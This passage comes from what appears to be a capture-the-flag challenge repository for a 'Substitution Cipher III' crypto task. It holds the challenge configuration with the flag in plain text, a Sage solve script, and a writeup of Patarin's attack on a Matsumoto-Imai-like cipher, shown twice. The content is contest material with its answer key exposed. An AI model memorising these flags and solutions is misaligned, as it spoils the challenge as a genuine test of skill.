B = S(K.gens()) * vector([tbar^i for i in range(n)])\n    Q = P(B)\n    R = T(Q.lift().coefficients())\n\n    return R, (S, P, T)\n\npubkey, privkey = generate_key(80)\n\nFLAG = open('./flag.txt', 'rb').read().strip()\nassert FLAG.startswith(b'DUCTF{') and FLAG.endswith(b'}')\nFLAG = FLAG.strip(b'DUCTF{}')\nmsg1 = FLAG[:10]\nmsg2 = FLAG[10:]\n\nct1 = encrypt(pubkey, msg1)\nct2 = encrypt(pubkey, msg2)\n\nprint(pubkey)\nprint(ct1)\nprint(ct2)\n"
  },
  {
    "path": "crypto/substitution-cipher-iii/challenge.yml",
    "content": "version: \"0.1\"\nid: substitution-cipher-iii\nname: Substitution Cipher III\ncategory: crypto\ndescription: |\n  Wait a **MI**nute, that's not a substitution cipher!\n\n  Author: joseph#8210\n\ntags:\n  - hard\n\nfiles:\n  - ./challenge/substitution-cipher-iii.sage\n  - ./challenge/output.txt\n\nflags:\n  - DUCTF{MQ_1s_fun_a5e39cf21a}\n"
  },
  {
    "path": "crypto/substitution-cipher-iii/solve/solve.sage",
    "content": "from Crypto.Util.number import long_to_bytes\nfrom string import printable\nfrom tqdm import tqdm\n\nE, C1, C2 = open('../challenge/output.txt', 'r').read().splitlines()\n\ndef encrypt(pubkey, msg):\n    # assume msg \\in {0,1}^n\n    return tuple([p(*msg) for p in pubkey])\n\n# not entirely necessary, but speeds up polynomial evaluation\ndef gen_sparse_vector(i, n):\n    p = 0\n    while i > 0:\n        p |= 1 << (i % n)\n        i //= n\n    return tuple(map(int, f'{p:0b}'.zfill(n)))\n\ndef get_ptct_pairs(pubkey, N):\n    n = len(pubkey[0].parent().gens())\n    seen = set()\n    pairs = []\n    i = 0\n    pbar = tqdm(total=int(N))\n    while len(pairs) < N:\n        pt = gen_sparse_vector(i, n)\n        if pt not in seen:\n            ct = encrypt(pubkey, pt)\n            pairs.append((pt, ct))\n            seen.add(pt)\n            pbar.update(int(1))\n        i += 1\n    pbar.close()\n    return pairs\n\ndef gen_matrix_row(pair):\n    X, Y = pair\n    r = []\n    for i in range(n):\n        for j in range(n):\n            r.append(F(X[i]*Y[j]))\n    r += [F(x) for x in X]\n    r += [F(y) for y in Y]\n    r.append(1)\n    return r\n\nq = 2\nn = 80\nF = GF(q)\nG = PolynomialRing(F, [f'x{i}' for i in range(n)])\nKb = BooleanPolynomialRing(n, 'x') # faster than GF(2)[x0, ..., xn]\nKb.inject_variables()\n\npubkey = eval(E)\nprint('generating random pt/ct pairs...')\npairs = get_ptct_pairs(pubkey, (n+1)^2)\n\nprint('generating coefficient matrix...')\nM = list(gen_matrix_row(pair) for pair in tqdm(pairs))\nM = Matrix(F, M)\n\nprint(f'nullity: {M.right_nullity()}')\nprint('computing kernel...')\nK = M.right_kernel()\n\ndef recover_X(K, C):\n    X = Kb.gens()\n    Y = [int(c) for c in C]\n    T = []\n    for coeffs in K.basis():\n        eq = 0\n        for i in range(n):\n            for j in range(n):\n                eq += coeffs[n*i + j]*X[i]*Y[j]\n        eq += sum(coeffs[n^2 + i]*X[i] for i in range(n))\n        eq += sum(coeffs[n^2 + n + i]*Y[i] for i in range(n))\n        eq += coeffs[n^2 + 2*n]\n        T.append(G(eq))\n    T = Sequence(T)\n    for v in T.coefficient_matrix()[0].right_kernel():\n        m = ''.join(map(str, v[:-1]))\n        pt = long_to_bytes(int(m, 2))\n        if all(chr(c) in printable for c in pt):\n            return pt.decode()\n\nflag1 = recover_X(K, C1)\nflag2 = recover_X(K, C2)\nflag = 'DUCTF{' + flag1 + flag2 + '}'\nprint(flag)\n"
  },
  {
    "path": "crypto/substitution-cipher-iii/solve/test.sh",
    "content": "#!/bin/sh\n\nsage --pip install pycrypto tqdm\n\nTMPDIR=`mktemp -d`\ncp -r /work/challenge /work/solve \"$TMPDIR\"\ncd \"$TMPDIR/solve\"\nsage solve.sage\n"
  },
  {
    "path": "crypto/substitution-cipher-iii/solve/writeup.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"a0f3f251\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Challenge Overview\\n\",\n    \"\\n\",\n    \"This challenge is a sequel to \\\"Substitution Cipher II\\\", though in terms of difficulty, it is a large step up. The basis of the challenge is Patarin's famous attack (though other attacks may work) on the Matsumoto-Imai cryptosystem which was hinted towards by the bold **MI** in the challenge's description (one could easily find useful resources online by searching \\\"MI cryptosystem\\\"). The large public key size is also a trait of multivariate public key cryptosystems which some people may have recognised.\\n\",\n    \"\\n\",\n    \"Like with the other two substitution cipher challenges, we are given the code which has been used to encrypt the flag, as well as the ciphertext. In this challenge, we are also given a public key.\\n\",\n    \"\\n\",\n    \"## Matsumoto-Imai Cryptosystem\\n\",\n    \"\\n\",\n    \"In this section we give a rough description of the Matsumoto-Imai-like cryptosystem as presented in the challenge. There are some differences from the original cryptosystem, so to hopefully make it easier to follow, we also draw comparisons between the mathematical notation and the handout code.\\n\",\n    \"\\n\",\n    \"The general idea is that a composition of certain transformations is difficult to invert without knowledge of the individual transformations that make it up; so a private key is made up of some invertible transformations, and the corresponding public key is their composition. Additionally, solving a set of multivariate (even quadratic) polynomial equations over a finite field in general is proven to be NP-complete, so one _shouldn't_ be able to easily recover the plaintext from a given ciphertext and the public key alone.\\n\",\n    \"\\n\",\n    \"### Parameters\\n\",\n    \"\\n\",\n    \"To set the scene, we choose parameters $q$ and $n$ (in the challenge $q = 2$ and $n = 80$) and define some algebraic objects to work with:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    K &= \\\\mathbb{F}_q[x_1, \\\\ldots, x_n] \\\\\\\\\\n\",\n    \"    E &= K[t]/(i(t)) \\\\\\\\\\n\",\n    \"    L &= E[x] \\\\\\\\\\n\",\n    \"    A &= \\\\mathrm{Aff}(n, K)\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"where $i(t)$ is an arbitrary degree $n$ irreducible polynomial. \\n\",\n    \"\\n\",\n    \"In Sage, we need to write a bit more boilerplate to achieve this:\\n\",\n    \"\\n\",\n    \"```py\\n\",\n    \"    q = 2\\n\",\n    \"    F = GF(q)\\n\",\n    \"    K = BooleanPolynomialRing(n, 'x')\\n\",\n    \"    R.<t> = PolynomialRing(K)\\n\",\n    \"    i = GF(q)[t].irreducible_element(n)\\n\",\n    \"    I = Ideal(R(i))\\n\",\n    \"    I.reduce = lambda f: f % i # dirty sage hack\\n\",\n    \"    E.<tbar> = PolynomialRing(K, t).quo(I)\\n\",\n    \"    L.<x> = PolynomialRing(E)\\n\",\n    \"    A = AffineGroup(n, K)\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"- [`BooleanPolynomialRing`](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/pbori/pbori.html) is a more efficient implementation of boolean polynomials; in most cases it can be used as a clean replacement for `GF(2)[x1, ..., xn]`.\\n\",\n    \"- As for the `I.reduce = ...` line, this should probably not need to be done but I was having difficulties getting Sage to properly reduce elements of $E$ modulo $i(t)$ and this seemed like the only way to fix it.\\n\",\n    \"- The purpose of $L$ is to define polynomials whose variables are in $E$ (which we'll do next).\\n\",\n    \"- $A$ is defined so that we can easily work with affine transformations.\\n\",\n    \"\\n\",\n    \"### Private Key\\n\",\n    \"\\n\",\n    \"Next, we'll generate the private key. We choose random $S, T \\\\in A$ and $P = r x^{q + 1} \\\\in L$ where $r \\\\in E$ is randomly chosen. (Note that the construction of $P$ here is not in its most general form, and that this particular choice of $P$ is potentially weaker than other choices).\\n\",\n    \"\\n\",\n    \"In Sage, we write:\\n\",\n    \"\\n\",\n    \"```py\\n\",\n    \"    S = A(GL(n, F).random_element(), random_vector(F, n), check=False)\\n\",\n    \"    r = sum(randint(0, 1) * tbar^i for i in range(n))\\n\",\n    \"    P = r * x^(q + 1)\\n\",\n    \"    T = A(GL(n, F).random_element(), random_vector(F, n), check=False)\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"`A.random_element()` wasn't working for some reason, so we simply generate a random invertible matrix and a random vector with elements in $\\\\mathbb{F}_q$ which is enough to represent an affine transformation.\\n\",\n    \"\\n\",\n    \"### Public Key\\n\",\n    \"\\n\",\n    \"To derive the public key $R$ from the private key, we simply take the composition $R = T \\\\circ P \\\\circ S$.\\n\",\n    \"\\n\",\n    \"Actually, that's not entirely correct but it captures the general idea. To be more explicit, $S$ and $T$ are affine transformations that map elements of $K^n$ to elements of $K^n$, whereas $P$ is a function that takes an element in $E$ and outputs an element in $E$. The way we glue together these components of different \\\"types\\\" is by introducing an extra function that converts between the two types; there is a natural bijection between $K^n$ and $E$, so we define:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    \\\\varphi : K^n &\\\\rightarrow E \\\\\\\\\\n\",\n    \"            (v_0, v_1, \\\\ldots, v_{n-1}) &\\\\mapsto v_0 + v_1 t + \\\\cdots + v_{n-1} t^{n-1}\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"So more accurately, we take the public key to be $R = T \\\\circ \\\\varphi^{-1} \\\\circ P \\\\circ \\\\varphi \\\\circ S$.\\n\",\n    \"\\n\",\n    \"$R$ itself can be represented by $n$ multivariate polynomials $r_1, r_2, \\\\ldots, r_n$; these are what will be used for encryption.\\n\",\n    \"\\n\",\n    \"In Sage, we can write this concisely as:\\n\",\n    \"\\n\",\n    \"```py\\n\",\n    \"    B = S(K.gens()) * vector([tbar^i for i in range(n)])\\n\",\n    \"    Q = P(B)\\n\",\n    \"    R = T(Q.lift().coefficients())\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"Since $S$ and $T$ are elements of $A$, we can perform the transformation they represent with `S(x)` and `T(x)` respectively, where `x` is an element of $K^n$. Multiplication by the vector $(1, t, \\\\ldots, t^{n-1})$ is equivalent to the conversion map $\\\\varphi$, and taking the coefficients of an element in $E$ is equivalent to $\\\\varphi^{-1}$. The reason for the `.lift()` is to consider `Q` as an element of $K[t]$ (as opposed to an element of $E$) since `.coefficients()` seems to be not implemented for this quotient ring.\\n\",\n    \"\\n\",\n    \"### Encryption\\n\",\n    \"\\n\",\n    \"Encryption is easy but there is a slight caveat that might be confusing. The public polynomials $r_i : K^n \\\\rightarrow K$ map elements of $K^n$ to an element of $K$. We defined $K$ to be a boolean polynomial ring, but it should be noted that $\\\\mathbb{F}_q$ is a subset of $K$, and that $\\\\mathbb{F}_q^n$ is a subset of $K^n$. When we encrypt messages, we are really only concerned with the subset $\\\\mathbb{F}_q$ and not with other elements of $K$. (This is just for the reason that working with bits is easier; there shouldn't be any issues with encoding messages using other elements in $K$)\\n\",\n    \"\\n\",\n    \"To encrypt a message, we first encode the message as an element $m$ of $\\\\mathbb{F}_q^n$ and compute $(r_1(m), r_2(m), \\\\ldots, r_n(m))$. where $r_i$ are the public polynomials. Since each of the $r_i$ sends elements of $\\\\mathbb{F}_q^n$ to an element in $\\\\mathbb{F}_q$, the resulting ciphertext is an element of $\\\\mathbb{F}_q^n \\\\subset K^n$.\\n\",\n    \"\\n\",\n    \"# Solution\\n\",\n    \"\\n\",\n    \"We are given nothing but the public key and the ciphertexts. We could attempt to recover the private key, but it isn't necessary. We will follow Patarin's attack from Crypto'95 which allows us to recover the plaintext for any given ciphertext.\\n\",\n    \"\\n\",\n    \"The attack relies on the fact that maps $f : E \\\\rightarrow E$ of the form $x \\\\mapsto x^{q^k}$ are linear for any integer $k$. By this, we mean that if $z = z_0 + z_1 t + \\\\cdots + z_{n-1} t^{n-1} \\\\in E$, then $f(z) = z_0' + z_1' t + \\\\cdots + z_{n-1}' t^{n-1}$ is such that $z_i' = f_i(z_0, \\\\ldots, z_{n-1})$ with $\\\\deg f_i = 1$. In words; this says that the coefficients of $f(z)$ can be written as a linear combination of the coefficients of $z$.\\n\",\n    \"\\n\",\n    \"I couldn't find a proof for this, (maybe because it's supposed to be obvious, but it certainly wasn't obvious to me), so here is my (possibly wrong) attempt at a justification (which I think might actually only work for $q = 2$):\\n\",\n    \"\\n\",\n    \"Define $f : E \\\\rightarrow E$ as $f(x) = x^{q^k}$ for any integer $k$. Let $z = z_0 + z_1 t + \\\\cdots + z_{n-1} t^{n-1} \\\\in E$. Then\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    f(z) &= (z_0 + z_1 t + \\\\cdots + z_{n-1} t^{n-1})^{q^k} \\\\\\\\\\n\",\n    \"         &= z_0^{q^k} + (z_1 t)^{q^k} + \\\\cdots + (z_{n-1} t^{n-1})^{q^k} \\\\quad \\\\text{since } \\\\mathrm{char}(E) = q \\\\\\\\\\n\",\n    \"         &= z_0 + z_1 t^{q^k} + \\\\cdots + z_{n-1} t^{(n-1)q^k} \\\\quad \\\\text{since } x = x^q \\\\text{ for all } x \\\\in K\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"It should now follow that, after being reduced modulo the irreducible polynomial $i(t)$, the coefficients of $f(z)$ are linear combinations of the $z_i$.\\n\",\n    \"\\n\",\n    \"Combined with some other clever insights, this eventually leads to a linear expression relating all plaintext and ciphertext pairs as we will soon see.\\n\",\n    \"\\n\",\n    \"## Finding the Relation\\n\",\n    \"\\n\",\n    \"This is the core of the attack. To begin, recall that a plaintext message $x \\\\in K^n$ is encrypted by computing its ciphertext $y = (T \\\\circ \\\\varphi^{-1} \\\\circ P \\\\circ \\\\varphi \\\\circ S)(x) \\\\in K^n$.\\n\",\n    \"\\n\",\n    \"Let $a = \\\\varphi(S(x))$ and $b = \\\\varphi(T^{-1}(y))$. Note that $a, b \\\\in E$ and furthermore that $b = P(a)$. So we have\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"b = ra^{q + 1}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Now, applying $g : E \\\\rightarrow E, x \\\\mapsto x^{q-1}$ to both sides of the equation, we get\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    g(b) &= g(ra^{q+1}) \\\\\\\\\\n\",\n    \"    b^{q-1} &= r^{q-1} a^{q^2 - 1}\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Multiplying both sides by $ab$, we get\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"ab^q = r^{q-1} a^{q^2} b \\\\tag{1}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"By the definition of $a$ and $b$, we have\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"a = c_1x + c_2 \\\\qquad b = c_3 y + c_4\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"where the $c_i$ are elements of $E$ which we do not particularly care about. This follows because $a$ and $b$ are simply affine transformations of $x$ and $y$ respectively.\\n\",\n    \"\\n\",\n    \"Combining this with the fact that the maps $b \\\\mapsto b^q$ and $a \\\\mapsto a^{q^2}$ are linear maps, equation $(1)$ effectively gives us an equation relating $x$ and $y$ where $x$, $y$ and $xy$ appear to a power of no greater than $1$.\\n\",\n    \"\\n\",\n    \"So, if we let $x = (x_0, x_1, \\\\ldots, x_{n-1})$ and $y = (y_0, y_1, \\\\ldots, y_{n-1})$, then the information given by equation $(1)$ can be rewritten as:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\sum_{i=0}^{n-1} \\\\sum_{j=0}^{n-1} \\\\gamma_{i, j} x_i y_j + \\\\sum_{i=0}^{n-1} \\\\alpha_i x_i + \\\\sum_{j=0}^{n-1} \\\\beta_j y_j + \\\\delta = 0 \\\\tag{2}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"And the amazing thing about this relation is that it holds for _all_ plaintext/ciphertext pairs $(x, y)$ since we made no assumptions about them to begin with! That means it holds for the flag and the ciphertext we've been given too :)\\n\",\n    \"\\n\",\n    \"## Recovering the Constants\\n\",\n    \"\\n\",\n    \"Equation $(2)$ gives us a relation that holds for all plaintext/ciphertext pairs, but we don't know the $\\\\gamma_{i, j}, \\\\alpha_i, \\\\beta_j$ and $\\\\delta$. Fortunately, since encryption uses the public key (which we have), we can generate our own plaintexts and encrypt them to get valid plaintext/ciphertext pairs.\\n\",\n    \"\\n\",\n    \"With a set of plaintext/ciphertext pairs, we can view equation $(2)$ as a system of linear equations in the unknowns $\\\\gamma_{i, j}, \\\\alpha_i, \\\\beta_j$ and $\\\\delta$ and use linear algebra techniques to solve for them. There are $n^2 + n + n + 1 = (n+1)^2$ unknowns, so we'll need $(n+1)^2$ plaintext/ciphertext pairs to successfully recover the constants.\\n\",\n    \"\\n\",\n    \"Generating the plaintext/ciphertext pairs may take a while (though, not _that_ long if you're patient), so an easy optimisation we can do is choose sparse plaintext vectors; that is, plaintexts which have a lot of zero bits. Doing this speeds up polynomial evaluation which is the most expensive operation for encryption.\\n\",\n    \"\\n\",\n    \"## Recovering the Flag\\n\",\n    \"\\n\",\n    \"The hard work is mostly done. If we have the relation and the constants, then to recover a plaintext given a ciphertext all we need to do is plug in the $y_j$ values, and solve for the $x_i$ values. Again, this is done using linear algebra techniques, but in this case instead of solving a system of linear equations in the unknowns $\\\\gamma_{i, j}, \\\\alpha_i, \\\\beta_j$ and $\\\\delta$, we solve the system for the unknowns $x_0, x_1, \\\\ldots, x_{n-1}$.\\n\",\n    \"\\n\",\n    \"# References/Extra Reading\\n\",\n    \"\\n\",\n    \"- [Jacques Patarin - Cryptanalysis of the Matsumoto and Imai Public KeyScheme of Eurocrypt'88](https://link.springer.com/content/pdf/10.1007%2F3-540-44750-4.pdf)\\n\",\n    \"- [Adam Janovsky - Algebraic cryptanalysis of Hidden Field Equations family](https://is.muni.cz/th/rwbym/bthesis.pdf)\\n\",\n    \"- [Nicolas T. Courtois - The security of Hidden Field Equations](http://www.minrank.org/hfesecsl.pdf)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"id\": \"885c8e8a\",\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": []\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3 (ipykernel)\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.9.6\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 5\n}\n"
  },
  {
    "path": "crypto/substitution-cipher-iii/solve/writeup.md",
    "content": "# Challenge Overview\n\nThis challenge is a sequel to \"Substitution Cipher II\", though in terms of difficulty, it is a large step up. The basis of the challenge is Patarin's famous attack (though other attacks may work) on the Matsumoto-Imai cryptosystem which was hinted towards by the bold **MI** in the challenge's description (one could easily find useful resources online by searching \"MI cryptosystem\"). The large public key size is also a trait of multivariate public key cryptosystems which some people may have recognised.\n\nLike with the other two substitution cipher challenges, we are given the code which has been used to encrypt the flag, as well as the ciphertext. In this challenge, we are also given a public key.\n\n## Matsumoto-Imai Cryptosystem\n\nIn this section we give a rough description of the Matsumoto-Imai-like cryptosystem as presented in the challenge. There are some differences from the original cryptosystem, so to hopefully make it easier to follow, we also draw comparisons between the mathematical notation and the handout code.\n\nThe general idea is that a composition of certain transformations is difficult to invert without knowledge of the individual transformations that make it up; so a private key is made up of some invertible transformations, and the corresponding public key is their composition. Additionally, solving a set of multivariate (even quadratic) polynomial equations over a finite field in general is proven to be NP-complete, so one _shouldn't_ be able to easily recover the plaintext from a given ciphertext and the public key alone.\n\n### Parameters\n\nTo set the scene, we choose parameters $q$ and $n$ (in the challenge $q = 2$ and $n = 80$) and define some algebraic objects to work with:\n\n$$\n\\begin{aligned}\n    K &= \\mathbb{F}_q[x_1, \\ldots, x_n] \\\\\n    E &= K[t]/(i(t)) \\\\\n    L &= E[x] \\\\\n    A &= \\mathrm{Aff}(n, K)\n\\end{aligned}\n$$\n\nwhere $i(t)$ is an arbitrary degree $n$ irreducible polynomial. \n\nIn Sage, we need to write a bit more boilerplate to achieve this:\n\n```py\n    q = 2\n    F = GF(q)\n    K = BooleanPolynomialRing(n, 'x')\n    R.<t> = PolynomialRing(K)\n    i = GF(q)[t].irreducible_element(n)\n    I = Ideal(R(i))\n    I.reduce = lambda f: f % i # dirty sage hack\n    E.<tbar> = PolynomialRing(K, t).quo(I)\n    L.<x> = PolynomialRing(E)\n    A = AffineGroup(n, K)\n```\n\n- [`BooleanPolynomialRing`](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/pbori/pbori.html) is a more efficient implementation of boolean polynomials; in most cases it can be used as a clean replacement for `GF(2)[x1, ..., xn]`.\n- As for the `I.reduce = ...` line, this should probably not need to be done but I was having difficulties getting Sage to properly reduce elements of $E$ modulo $i(t)$ and this seemed like the only way to fix it.\n- The purpose of $L$ is to define polynomials whose variables are in $E$ (which we'll do next).\n- $A$ is defined so that we can easily work with affine transformations.\n\n### Private Key\n\nNext, we'll generate the private key. We choose random $S, T \\in A$ and $P = r x^{q + 1} \\in L$ where $r \\in E$ is randomly chosen. (Note that the construction of $P$ here is not in its most general form, and that this particular choice of $P$ is potentially weaker than other choices).\n\nIn Sage, we write:\n\n```py\n    S = A(GL(n, F).random_element(), random_vector(F, n), check=False)\n    r = sum(randint(0, 1) * tbar^i for i in range(n))\n    P = r * x^(q + 1)\n    T = A(GL(n, F).random_element(), random_vector(F, n), check=False)\n```\n\n`A.random_element()` wasn't working for some reason, so we simply generate a random invertible matrix and a random vector with elements in $\\mathbb{F}_q$ which is enough to represent an affine transformation.\n\n### Public Key\n\nTo derive the public key $R$ from the private key, we simply take the composition $R = T \\circ P \\circ S$.\n\nActually, that's not entirely correct but it captures the general idea. To be more explicit, $S$ and $T$ are affine transformations that map elements of $K^n$ to elements of $K^n$, whereas $P$ is a function that takes an element in $E$ and outputs an element in $E$. The way we glue together these components of different \"types\" is by introducing an extra function that converts between the two types; there is a natural bijection between $K^n$ and $E$, so we define:\n\n$$\n\\begin{aligned}\n    \\varphi : K^n &\\rightarrow E \\\\\n            (v_0, v_1, \\ldots, v_{n-1}) &\\mapsto v_0 + v_1 t + \\cdots + v_{n-1} t^{n-1}\n\\end{aligned}\n$$\n\nSo more accurately, we take the public key to be $R = T \\circ \\varphi^{-1} \\circ P \\circ \\varphi \\circ S$.\n\n$R$ itself can be represented by $n$ multivariate polynomials $r_1, r_2, \\ldots, r_n$; these are what will be used for encryption.\n\nIn Sage, we can write this concisely as:\n\n```py\n    B = S(K.gens()) * vector([tbar^i for i in range(n)])\n    Q = P(B)\n    R = T(Q.lift().coefficients())\n```\n\nSince $S$ and $T$ are elements of $A$, we can perform the transformation they represent with `S(x)` and `T(x)` respectively, where `x` is an element of $K^n$. Multiplication by the vector $(1, t, \\ldots, t^{n-1})$ is equivalent to the conversion map $\\varphi$, and taking the coefficients of an element in $E$ is equivalent to $\\varphi^{-1}$. The reason for the `.lift()` is to consider `Q` as an element of $K[t]$ (as opposed to an element of $E$) since `.coefficients()` seems to be not implemented for this quotient ring.\n\n### Encryption\n\nEncryption is easy but there is a slight caveat that might be confusing. The public polynomials $r_i : K^n \\rightarrow K$ map elements of $K^n$ to an element of $K$. We defined $K$ to be a boolean polynomial ring, but it should be noted that $\\mathbb{F}_q$ is a subset of $K$, and that $\\mathbb{F}_q^n$ is a subset of $K^n$. When we encrypt messages, we are really only concerned with the subset $\\mathbb{F}_q$ and not with other elements of $K$. (This is just for the reason that working with bits is easier; there shouldn't be any issues with encoding messages using other elements in $K$)\n\nTo encrypt a message, we first encode the message as an element $m$ of $\\mathbb{F}_q^n$ and compute $(r_1(m), r_2(m), \\ldots, r_n(m))$. where $r_i$ are the public polynomials. Since each of the $r_i$ sends elements of $\\mathbb{F}_q^n$ to an element in $\\mathbb{F}_q$, the resulting ciphertext is an element of $\\mathbb{F}_q^n \\subset K^n$.\n\n# Solution\n\nWe are given nothing but the public key and the ciphertexts. We could attempt to recover the private key, but it isn't necessary. We will follow Patarin's attack from Crypto'95 which allows us to recover the plaintext for any given ciphertext.\n\nThe attack relies on the fact that maps $f : E \\rightarrow E$ of the form $x \\mapsto x^{q^k}$ are linear for any integer $k$. By this, we mean that if $z = z_0 + z_1 t + \\cdots + z_{n-1} t^{n-1} \\in E$, then $f(z) = z_0' + z_1' t + \\cdots + z_{n-1}' t^{n-1}$ is such that $z_i' = f_i(z_0, \\ldots, z_{n-1})$ with $\\deg f_i = 1$. In words; this says that the coefficients of $f(z)$ can be written as a linear combination of the coefficients of $z$.\n\nI couldn't find a proof for this, (maybe because it's supposed to be obvious, but it certainly wasn't obvious to me), so here is my (possibly wrong) attempt at a justification (which I think might actually only work for $q = 2$):\n\nDefine $f : E \\rightarrow E$ as $f(x) = x^{q^k}$ for any integer $k$. Let $z = z_0 + z_1 t + \\cdots + z_{n-1} t^{n-1} \\in E$. Then\n\n$$\n\\begin{aligned}\n    f(z) &= (z_0 + z_1 t + \\cdots + z_{n-1} t^{n-1})^{q^k} \\\\\n         &= z_0^{q^k} + (z_1 t)^{q^k} + \\cdots + (z_{n-1} t^{n-1})^{q^k} \\quad \\text{since } \\mathrm{char}(E) = q \\\\\n         &= z_0 + z_1 t^{q^k} + \\cdots + z_{n-1} t^{(n-1)q^k} \\quad \\text{since } x = x^q \\text{ for all } x \\in K\n\\end{aligned}\n$$\n\nIt should now follow that, after being reduced modulo the irreducible polynomial $i(t)$, the coefficients of $f(z)$ are linear combinations of the $z_i$.\n\nCombined with some other clever insights, this eventually leads to a linear expression relating all plaintext and ciphertext pairs as we will soon see.\n\n## Finding the Relation\n\nThis is the core of the attack. To begin, recall that a plaintext message $x \\in K^n$ is encrypted by computing its ciphertext $y = (T \\circ \\varphi^{-1} \\circ P \\circ \\varphi \\circ S)(x) \\in K^n$.\n\nLet $a = \\varphi(S(x))$ and $b = \\varphi(T^{-1}(y))$. Note that $a, b \\in E$ and furthermore that $b = P(a)$. So we have\n\n$$\nb = ra^{q + 1}\n$$\n\nNow, applying $g : E \\rightarrow E, x \\mapsto x^{q-1}$ to both sides of the equation, we get\n\n$$\n\\begin{aligned}\n    g(b) &= g(ra^{q+1}) \\\\\n    b^{q-1} &= r^{q-1} a^{q^2 - 1}\n\\end{aligned}\n$$\n\nMultiplying both sides by $ab$, we get\n\n$$\nab^q = r^{q-1} a^{q^2} b \\tag{1}\n$$\n\nBy the definition of $a$ and $b$, we have\n\n$$\na = c_1x + c_2 \\qquad b = c_3 y + c_4\n$$\n\nwhere the $c_i$ are elements of $E$ which we do not particularly care about. This follows because $a$ and $b$ are simply affine transformations of $x$ and $y$ respectively.\n\nCombining this with the fact that the maps $b \\mapsto b^q$ and $a \\mapsto a^{q^2}$ are linear maps, equation $(1)$ effectively gives us an equation relating $x$ and $y$ where $x$, $y$ and $xy$ appear to a power of no greater than $1$.\n\nSo, if we let $x = (x_0, x_1, \\ldots, x_{n-1})$ and $y = (y_0, y_1, \\ldots, y_{n-1})$, then the information given by equation $(1)$ can be rewritten as:\n\n$$\n\\sum_{i=0}^{n-1} \\sum_{j=0}^{n-1} \\gamma_{i, j} x_i y_j + \\sum_{i=0}^{n-1} \\alpha_i x_i + \\sum_{j=0}^{n-1} \\beta_j y_j + \\delta = 0 \\tag{2}\n$$\n\nAnd the amazing thing about this relation is that it holds for _all_ plaintext/ciphertext pairs $(x, y)$ since we made no assumptions about them to begin with! That means it holds for the flag and the ciphertext we've been given too :)\n\n## Recovering the Constants\n\nEquation $(2)$ gives us a relation that holds for all plaintext/ciphertext pairs, but we don't know the $\\gamma_{i, j}, \\alpha_i, \\beta_j$ and $\\delta$. Fortunately, since encryption uses the public key (which we have), we can generate our own plaintexts and encrypt them to get valid plaintext/ciphertext pairs.\n\nWith a set of plaintext/ciphertext pairs, we can view equation $(2)$ as a system of linear equations in the unknowns $\\gamma_{i, j}, \\alpha_i, \\beta_j$ and $\\delta$ and use linear algebra techniques to solve for them. There are $n^2 + n + n + 1 = (n+1)^2$ unknowns, so we'll need $(n+1)^2$ plaintext/ciphertext pairs to successfully recover the constants.\n\nGenerating the plaintext/ciphertext pairs may take a while (though, not _that_ long if you're patient), so an easy optimisation we can do is choose sparse plaintext vectors; that is, plaintexts which have a lot of zero bits. Doing this speeds up polynomial evaluation which is the most expensive operation for encryption.\n\n## Recovering the Flag\n\nThe hard work is mostly done. If we have the relation and the constants, then to recover a plaintext given a ciphertext all we need to do is plug in the $y_j$ values, and solve for the $x_i$ values. Again, this is done using linear algebra techniques, but in this case instead of solving a system of linear equations in the unknowns $\\gamma_{i, j}, \\alpha_i, \\beta_j$ and $\\delta$, we solve the system for the unknowns $x_0, x_1, \\ldots, x_{n-1}$.\n\n# References/Extra Reading\n\n- [Jacques Patarin - Cryptanalysis of the Matsumoto and Imai Public KeyScheme of Eurocrypt'88](https://link.springer.com/content/pdf/10.1007%2F3-540-44750-4.pdf)\n- [Adam Janovsky - Algebraic cryptanalysis of Hidden Field Equations family](https://is.muni.cz/th/rwbym/bthesis.pdf)\n- [Nicolas T. Courtois - The security of Hidden Field Equations](http://www.minrank.org/hfesecsl.pdf)\n"
  },
  {
    "path": "crypto/treasure/Dockerfile",
